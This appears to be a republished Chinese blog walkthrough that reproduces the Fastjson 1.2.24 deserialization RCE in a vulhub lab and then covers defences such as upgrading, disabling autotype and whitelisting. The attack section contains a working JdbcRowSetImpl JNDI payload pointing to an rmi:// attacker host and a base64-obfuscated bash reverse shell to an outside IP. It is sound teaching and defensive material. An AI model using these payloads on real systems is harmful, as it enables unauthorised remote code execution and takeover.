文章总结: 本文详细分析了Fastjson1.2.24版本反序列化漏洞的成因与利用方式,指出因默认开启autotype功能导致攻击者可通过恶意JSON触发JNDI注入实现RCE。文章提供了完整的漏洞复现步骤,包括环境搭建、攻击检测和命令执行,并给出根本解决方案是升级到1.2.83以上版本,同时建议关闭autotype、配置黑白名单及设置JVM安全参数。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,安全工具,红队
经典复现-Fastjson反序列化漏洞(1.2.24版本)
原创
hzhsec hzhsec
hzhsec
2026年4月8日 11:49 江西
免责声明:本文内容仅用于安全研究与学习,请在合法授权的环境中使用,严禁用于任何非法用途。因使用不当造成的后果由使用者自行承担,并应遵守相关法律法规。
漏洞简介
- 漏洞成因:
首先介绍一下fastjson是什么?
Fastjson 是一个用于 Java 对象与 JSON 数据相互转换的库。
为什么会有这个漏洞呢?
原因是在低版本的fastjson中,默认开启了autotype选项,使得在反序列化json的时候,可以指定特定的类进行反序列化, 由于反序列化时,会触发类的构造函数,setter,getter或者其他隐式方法
攻击者可以通过精心构造恶意json,反序列化,触发特定的类,传入构造的参数,如果这些类的方法刚刚好使用了攻击者可控的参数,就会形成利用链,最终触发JNDI注入,实现远程代码执行
以下是一个autotype的基本用法:
{
"@type": "SomeClass",
"url": "xxx"
}
其中type参数是传入的要反序列加载的类
url相当于type类里面执行了setUrl(“xxx”),会改变类里面的值
注意:不同的环境会因为Classpath不同,形成不同的Gadget/利用链
影响版本: 受fastjson影响的带漏洞版本有很多:
1.2.24及以下没有对序列化的类做校验,导致漏洞产生1.2.25-1.2.41增加了黑名单限制,更改autoType默认为关闭选项。1.2.42版本是对1.2.41及以下版本的黑名单绕过,代码内更新字符串黑名单hash方式1.2.43版本是对1.2.42及以下版本的黑名单绕过1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用1.2.47版本 利用fastjson处理Class类时的操作,将恶意类加载到缓存中,实现攻击1.2.62-1.2.67版本Class不会再往缓存中加载恶意类,寻找新的利用链进行突破1.2.68版本,使用期望类AutoCloseable来绕过fastjson校验1.2.72-1.2.80使用期望类Throwable的子类,进行绕过
接下来,我复现的是1.2.24版本的fastjson
漏洞复现
环境搭建
- 靶机环境(使用 vulhub):
克隆vulhub仓库
git clone --depth 1 https://github.com/vulhub/vulhub.git
到漏洞地址
cd vulhub/fastjson/1.2.24-rce
docker-compose up -d
拉取失败的可以使用这个仓库的镜像源配置工具:
git clone https://github.com/hzhsec/docker_proxy.git
chmod +x *.sh
./docker_yuan.sh
访问:http://靶机IP:80902. 攻击机环境: – Java-Chains(用于生成 JNDI 利用链) – nc/netcat(用于监听反弹 shell)
- 攻击步骤
- 使用javachains生成jndi的dnslog命令,检测是否出网 post发送
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.41.128:50388/fb4ac1",
"autoCommit":true
}
}
- 尝试命令执行反弹shell
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ==" | base64 -d | bash
成功反弹
原理:
通过fastjson反序列化,加载类com.sun.rowset.JdbcRowSetImpl,这个类是jdbc的数据库驱动类先将autoCommit赋值为true,说明开启自动连接,就是在类进行初始化的时候自动连接
为什么jdbc会调用ldap和rmi协议呢?
dataSourceName则是通过jdbc连接数据库,由于jdbc的连接操作是通过jndi接口来进行,就是会根据url前缀来选择相应的服务器提供者
| URL 格式 | 协议 | JNDI 服务提供者 | 用途 |
| — | — | — | — |
| rmi://host:port/name | RMI | rmiURLContextFactory | Java 远程对象调用 |
| ldap://host:port/dn | LDAP | ldapURLContextFactory | 目录服务访问 |
| dns://host/name | DNS | dnsURLContextFactory | 域名解析 |
| file:///path | File | fsURLContextFactory | 文件系统访问 |
简化后的连接代码:
// 简化后的关键代码
public void connect() throws SQLException {
if (conn != null) return;
// 使用 JNDI 查找数据源
InitialContext ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup(dataSourceName);
conn = ds.getConnection();
}
根据url前缀来选择相应的服务器提供者
漏洞防御
最根本的解决方案
将 Fastjson 升级到最新安全版本
- 1.2.83 及以上版本:官方修复了大部分已知漏洞
- 1.2.68 及以上版本:修复了 AutoCloseable 绕过问题
- 建议:直接升级到最新稳定版
关闭autotype开关
在配置文件中显式关闭 AutoType(如果业务不需要):
// 全局关闭 AutoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
// 或者创建 JSON 对象时指定
JSON.parseObject(jsonString, Object.class, Feature.SupportAutoType);
配置黑白名单
白名单方式(推荐)
ParserConfig config = ParserConfig.getGlobalInstance();
// 添加允许反序列化的类
config.addAccept("com.example.safe.");
config.addAccept("java.util.");
// 关闭其他所有
config.setAutoTypeSupport(false);
运行时安全措施
JVM 参数限制
# 禁用远程类加载
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false
-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false
# JDK 6u132, 7u122, 8u113 及以上版本默认已设置
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:hzhsec hzhsec hzhsec《经典复现-Fastjson反序列化漏洞(1.2.24版本)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









![[防溯源追踪]隐藏真实IP&防WAF封禁&免费/付费代理搭建全攻略&Proxy工具使用](/images/random/titlepic/7.jpg)

评论